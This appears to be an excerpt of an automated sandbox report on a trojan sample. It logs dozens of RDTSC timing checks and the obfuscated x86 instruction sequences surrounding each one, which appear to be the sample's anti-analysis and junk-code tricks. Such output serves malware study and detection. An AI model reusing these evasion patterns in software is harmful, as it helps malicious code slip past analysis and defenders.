Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D381C3 second address: D38225 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3620DC90F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007F3620DC9107h 0x00000012 push 00000000h 0x00000014 movzx edi, di 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edx 0x0000001c call 00007F3620DC90F8h 0x00000021 pop edx 0x00000022 mov dword ptr [esp+04h], edx 0x00000026 add dword ptr [esp+04h], 0000001Ch 0x0000002e inc edx 0x0000002f push edx 0x00000030 ret 0x00000031 pop edx 0x00000032 ret 0x00000033 mov dword ptr [ebp+122D3309h], esi 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c jg 00007F3620DC90F8h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D37480 second address: D37484 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D3931C second address: D39346 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3620DC910Bh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e je 00007F3620DC90F6h 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D39346 second address: D3934C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D39492 second address: D39496 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D39496 second address: D394AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F362081F59Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D3C2DD second address: D3C366 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F3620DC9102h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F3620DC90F8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 push 00000000h 0x0000002a movsx edi, cx 0x0000002d jnl 00007F3620DC90FFh 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ebp 0x00000038 call 00007F3620DC90F8h 0x0000003d pop ebp 0x0000003e mov dword ptr [esp+04h], ebp 0x00000042 add dword ptr [esp+04h], 0000001Ah 0x0000004a inc ebp 0x0000004b push ebp 0x0000004c ret 0x0000004d pop ebp 0x0000004e ret 0x0000004f sbb edi, 101757C8h 0x00000055 xchg eax, esi 0x00000056 push ecx 0x00000057 pushad 0x00000058 push ecx 0x00000059 pop ecx 0x0000005a jp 00007F3620DC90F6h 0x00000060 popad 0x00000061 pop ecx 0x00000062 push eax 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 pop eax 0x00000068 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D3C366 second address: D3C36A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D3B552 second address: D3B56F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jmp 00007F3620DC9102h 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D3D441 second address: D3D455 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F362081F59Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D3C4E4 second address: D3C4E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D3C4E8 second address: D3C4FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jng 00007F362081F5A4h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D3C4FA second address: D3C4FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D3F277 second address: D3F27D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D402D0 second address: D402E3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3620DC90F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D402E3 second address: D402E9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CE397A second address: CE39B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3620DC90FDh 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F3620DC90FBh 0x0000000f popad 0x00000010 js 00007F3620DC9102h 0x00000016 jbe 00007F3620DC90F6h 0x0000001c jng 00007F3620DC90F6h 0x00000022 pop edx 0x00000023 pop eax 0x00000024 pushad 0x00000025 jo 00007F3620DC90FEh 0x0000002b pushad 0x0000002c popad 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CE39B7 second address: CE39CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F362081F5A0h 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D42982 second address: D42986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D42986 second address: D42A21 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F362081F5A4h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F362081F598h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 jmp 00007F362081F59Bh 0x0000002c mov di, si 0x0000002f jmp 00007F362081F5A0h 0x00000034 push 00000000h 0x00000036 mov edi, dword ptr [ebp+122D2FECh] 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push ebp 0x00000041 call 00007F362081F598h 0x00000046 pop ebp 0x00000047 mov dword ptr [esp+04h], ebp 0x0000004b add dword ptr [esp+04h], 00000015h 0x00000053 inc ebp 0x00000054 push ebp 0x00000055 ret 0x00000056 pop ebp 0x00000057 ret 0x00000058 jmp 00007F362081F59Ah 0x0000005d xchg eax, esi 0x0000005e pushad 0x0000005f jo 00007F362081F59Ch 0x00000065 je 00007F362081F596h 0x0000006b push eax 0x0000006c push edx 0x0000006d push ebx 0x0000006e pop ebx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D42A21 second address: D42A32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F3620DC90F6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D4054C second address: D40556 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F362081F596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D40556 second address: D4057A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC9106h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b jc 00007F3620DC90FCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D3D5B9 second address: D3D5BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D42C00 second address: D42C1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3620DC9107h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D3D5BE second address: D3D5C3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D3D5C3 second address: D3D669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 pushad 0x0000000a jmp 00007F3620DC9106h 0x0000000f je 00007F3620DC90F6h 0x00000015 popad 0x00000016 pop esi 0x00000017 nop 0x00000018 mov dword ptr [ebp+122D23ACh], ecx 0x0000001e push dword ptr fs:[00000000h] 0x00000025 mov di, CFB2h 0x00000029 mov dword ptr fs:[00000000h], esp 0x00000030 and edi, dword ptr [ebp+1246044Ah] 0x00000036 mov eax, dword ptr [ebp+122D0ADDh] 0x0000003c push 00000000h 0x0000003e push eax 0x0000003f call 00007F3620DC90F8h 0x00000044 pop eax 0x00000045 mov dword ptr [esp+04h], eax 0x00000049 add dword ptr [esp+04h], 00000018h 0x00000051 inc eax 0x00000052 push eax 0x00000053 ret 0x00000054 pop eax 0x00000055 ret 0x00000056 mov dword ptr [ebp+122D5B03h], edi 0x0000005c mov ebx, dword ptr [ebp+122D2E75h] 0x00000062 push FFFFFFFFh 0x00000064 sub dword ptr [ebp+1245D9D6h], edx 0x0000006a nop 0x0000006b pushad 0x0000006c jmp 00007F3620DC9103h 0x00000071 pushad 0x00000072 jmp 00007F3620DC90FDh 0x00000077 push eax 0x00000078 push edx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D3D669 second address: D3D674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push esi 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D44A59 second address: D44A5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D44AF5 second address: D44AFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D43CF1 second address: D43D7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push edx 0x00000009 call 00007F3620DC90F8h 0x0000000e pop edx 0x0000000f mov dword ptr [esp+04h], edx 0x00000013 add dword ptr [esp+04h], 00000019h 0x0000001b inc edx 0x0000001c push edx 0x0000001d ret 0x0000001e pop edx 0x0000001f ret 0x00000020 push dword ptr fs:[00000000h] 0x00000027 xor edi, dword ptr [ebp+122D213Bh] 0x0000002d mov dword ptr fs:[00000000h], esp 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007F3620DC90F8h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 0000001Ah 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e mov di, dx 0x00000051 jne 00007F3620DC90FCh 0x00000057 mov eax, dword ptr [ebp+122D15A1h] 0x0000005d or ebx, dword ptr [ebp+122D2D25h] 0x00000063 push FFFFFFFFh 0x00000065 mov bx, F629h 0x00000069 push eax 0x0000006a pushad 0x0000006b jnc 00007F3620DC90F8h 0x00000071 pushad 0x00000072 pushad 0x00000073 popad 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D44AFB second address: D44B0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F362081F59Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D45A3D second address: D45A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D45A42 second address: D45A56 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D45A56 second address: D45A5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D45A5A second address: D45AC5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F362081F596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c sub dword ptr [ebp+122D1DC9h], edi 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F362081F598h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 00000014h 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e mov di, bx 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ebx 0x00000036 call 00007F362081F598h 0x0000003b pop ebx 0x0000003c mov dword ptr [esp+04h], ebx 0x00000040 add dword ptr [esp+04h], 0000001Ah 0x00000048 inc ebx 0x00000049 push ebx 0x0000004a ret 0x0000004b pop ebx 0x0000004c ret 0x0000004d je 00007F362081F599h 0x00000053 xor bh, 00000023h 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b jbe 00007F362081F596h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D45AC5 second address: D45ACB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D4B007 second address: D4B010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D4C5FB second address: D4C604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D4C604 second address: D4C60A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D4C60A second address: D4C610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D50050 second address: D5006D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F5A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D5006D second address: D50073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CE5537 second address: CE553B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D4F722 second address: D4F755 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F3620DC9102h 0x00000010 pop edx 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 ja 00007F3620DC9102h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D4F755 second address: D4F75B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D4F75B second address: D4F761 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D4F761 second address: D4F76A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D4F76A second address: D4F776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3620DC90F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D4F8CC second address: D4F8D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D51763 second address: D5176D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D561E0 second address: D56204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F362081F596h 0x0000000a popad 0x0000000b pushad 0x0000000c jnc 00007F362081F596h 0x00000012 jc 00007F362081F596h 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e js 00007F362081F596h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D56204 second address: D5622A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3620DC90F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e pop eax 0x0000000f popad 0x00000010 popad 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 jns 00007F3620DC90F8h 0x0000001c jo 00007F3620DC90FCh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D5622A second address: D5624E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F362081F5ABh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D5624E second address: D5627C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC9104h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3620DC90FFh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D56396 second address: D5639A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D5639A second address: D563C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jg 00007F3620DC90F6h 0x0000000d pop esi 0x0000000e popad 0x0000000f mov eax, dword ptr [eax] 0x00000011 pushad 0x00000012 jo 00007F3620DC90F8h 0x00000018 push eax 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F3620DC90FEh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D563C4 second address: D563E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F5A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D5B6BC second address: D5B6D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3620DC9102h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D5BF2D second address: D5BF32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D5BF32 second address: D5BF37 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D5C1E3 second address: D5C1FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F5A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D5C1FE second address: D5C203 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D5C36D second address: D5C379 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D5C379 second address: D5C37D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D5C4ED second address: D5C4F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D5C4F3 second address: D5C4F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
